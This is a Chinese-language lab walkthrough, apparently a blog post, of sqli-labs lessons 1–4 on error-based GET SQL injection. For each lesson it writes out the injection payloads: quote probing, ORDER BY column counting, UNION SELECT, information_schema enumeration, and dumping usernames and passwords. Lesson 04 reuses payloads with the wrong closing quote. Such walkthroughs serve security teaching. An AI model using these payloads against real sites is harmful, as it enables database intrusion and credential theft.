zoukankan      html  css  js  c++  java
  • sqli-labs Less01-Less04

    Lesson 01 Error based - Single quetos - String(基于错误的GET单引号字符型注入)

    (1) ?id=1

       SELECT * FROM users WHERE id='1' LIMIT 0,1  在右侧再加一个单引号

      

      解析语句:

      limit 0,1:其中,第一位代表从第几个开始,例如0代表从第一个开始

      第二位代表显示多少个数据,例如2代表显示两个数据。

     

    (2)加上单引号

       ?id=1’

       SELECT * FROM users WHERE id='1'' LIMIT 0,1

         说明存在注入漏洞

    (3)加上or 1=1--+ 

        ?id=1 or 1=1--+

        SELECT * FROM users WHERE id='1 or 1=1-- ' LIMIT 0,1

         无错

      sql语句的注释符:--+;-- ;#

      or and:A or B 其中有一个正确,则返回正确

       A and B 两者都正确才返回正确

      因为1=1永真,所以用or 1=1可以对前面进行闭合,不管前面为什么,语句永远正确。

    (4)加上 order by,查看有多少列 (第二步,判断列数

      ?id=1' order by 3--+

      SELECT * FROM users WHERE id='1' order by 3-- ' LIMIT 0,1

      ?id=1' order by 4--+

      SELECT * FROM users WHERE id='1' order by 4-- ' LIMIT 0,1

       出错,第四列不存在,说明列数为3.由此来判断列数

      order by是排序的意思,order by 1就是对第一列进行排序,order by 2就是对第二列进行排序,存在错误即代表没有这一列。

      猜解的方法是二分法,去半进行测试。

    (5)加上 union select,查看哪些数据可以回显(第三步)

       ?id=1' union select 1,2,3--+

      SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1

      虽然显示正确,但是没有回显数据

      将前面的数据注释掉

      ?id=-1' union select 1,2,3--+

      SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1

      说明用户名和密码这两列有回显,可以进行递用

     

    显示了2,3,说明了这两个位置是可以使用的。

      6)一些函数解析

        A.system_user() /user()  显示系统用户

       

      B.database()  查看数据库

      

      C.version()   查看mysql版本信息

      D.@@datadir   查看mysql的安装路径

      E.@@version_compile_os   查看当前的操作系统

    (7)使用limit方法来获取数据(因为只能显示一行数据,所以1不变

      ?id=-1' union select 1,2,schema_name from information_schema.schemata--+

      SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata-- ' LIMIT 0,1

      ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

      SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 0,1-- ' LIMIT 0,1

       

      取出第一个数据

      ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

      SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 1,1-- ' LIMIT 0,1

      获取第二个数据

      ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

      SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 2,1-- ' LIMIT 0,1

      取出第三个数据

      这种方法有点慢,可以使用一个函数 group_concat(),将所有数据拼接在一起用一行显示出来。group_concat(schema_name)

      ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

      SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- ' LIMIT 0,1

      (8)使用的是security库,获取security库的表信息(执行查表操作

      ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

      SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1

      注意'security'部分最后不要这样写,会引入单引号的问题,加上0x,将security转化成十六进制,用Encoding里的HEX Encoding,变成0x736563756972697479。执行的效果和上面的一样

      (9)因为取出的是user表的信息,所有对其执行查列操作

        ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

        SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- ' LIMIT 0,1

      (10)这个时候,直接取数据

        要想将username和password一并展现出来,使用另一个函数

        concat_ws(‘~’,A,B)  展现出的效果就是A~B

        ?id=-1' union select 1,2,concat_ws('~',username,password) from security.users--+

        SELECT * FROM users WHERE id='-1' union select 1,2,concat_ws('~',username,password) from security.users-- ' LIMIT 0,1

      (这个也只能展现一组数据,需要用group_concat()进行拼接)

      ?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

      SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users-- ' LIMIT 0,1

      这里还是推荐不使用单引号,将~转化为十六进制,0x7e

      Lesson 01结束

    Lesson 02 Error based -Intiger based (基于错误的GET型注入)

      (1)?id=1

        SELECT * FROM users WHERE id=1 LIMIT 0,1  右侧什么也不加

      (2)加上单引号

        ?id=1'

    出现错误,说明存在注入漏洞。与第一个的错误不同,是多了一个单引号,所以不用这种方法。

      (3)加上order by语句  

        ?id=1 order by 3--+

        SELECT * FROM users WHERE id=1 order by 3-- LIMIT 0,1

       4列就不行了

    (4) union select 联合查询,有哪些地方回显

      ?id=-1 union select 1,2,3--+

      SELECT * FROM users WHERE id=-1 union select 1,2,3-- LIMIT 0,1

    (5)继续查询(查库)

      ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

    (6)继续查询(查表)

       ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+   security

    (7)继续查询(查字段)

        ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+   users

    (8)查询数据

      ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

      Lesson 02结束

    Lesson 03 Error based -Single quotes with twist string (基于错误的GET单引号变形字符型注入)

      

    (1)  ?id=1

      SELECT * FROM users WHERE id=('1') LIMIT 0,1  右侧加一个单引号,一个右括号

      (2)如果显示不出sql语句如何判断,还是先加单引号进行测试,看下面的报错信息

      SELECT * FROM users WHERE id=('1'') LIMIT 0,1

       看下报错语句,发现漏洞,去掉双引号后,多了一个单引号,还有一个右括号

      (3)单引号和一个右括号并注释掉

        ?id=1')--+

        SELECT * FROM users WHERE id=('1')-- ') LIMIT 0,1

      (4)reder by 语句进行判断

        还是三列

      (5)nion select 语句进行联合查询,前面id 那里记得加上-号

      ?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+

      SELECT * FROM users WHERE id=('1') union select 1,2,group_concat(schema_name) from information_schema.schemata-- ') LIMIT 0,1

    (6)常规操作(查表,查字段,查字段的值)

      ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

      ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

      ?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

      Lesson 03结束

    Lesson 04 Error based -Double quotes - string (基于错误的GET双引号字符型注入)

    (1)?id=1

      SELECT * FROM users WHERE id=("1") LIMIT 0,1  右侧加上双引号和一个右括号

      (2)加上单引号进行测试

        ?id=1'

      因为和双引号有关,加上双引号进行测试

      ?id=1"

      出现错误,发现漏洞

      加上一个双引号和一个右括号,注释掉

      ?id=1")--+

    无错

    (3)加上order by语句进行判断

        还是三列

      ?id=1") order by 3--+

      (4)使用union select语句进行联合查询

        ?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+

    (5)常规操作(查表,查字段,查字段的值)

      ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

      ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

      ?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

      Lesson 04结束

  • 相关阅读:
    IOS中浏览器修改document.title不起作用
    he content must be served over HTTPS 解决方案
    Nuxt开发经验分享
    Nuxt插件-axios封装
    requestAnimationFrame & 定时器
    Vue 组件中data为什么是函数
    js-鸡兔同笼方程
    css技巧-清明追思-网站置灰
    详细分享TortoiseGit配置密钥的方法
    js
  • 原文地址:https://www.cnblogs.com/zhaihuijie/p/12481843.html
Copyright © 2011-2022 走看看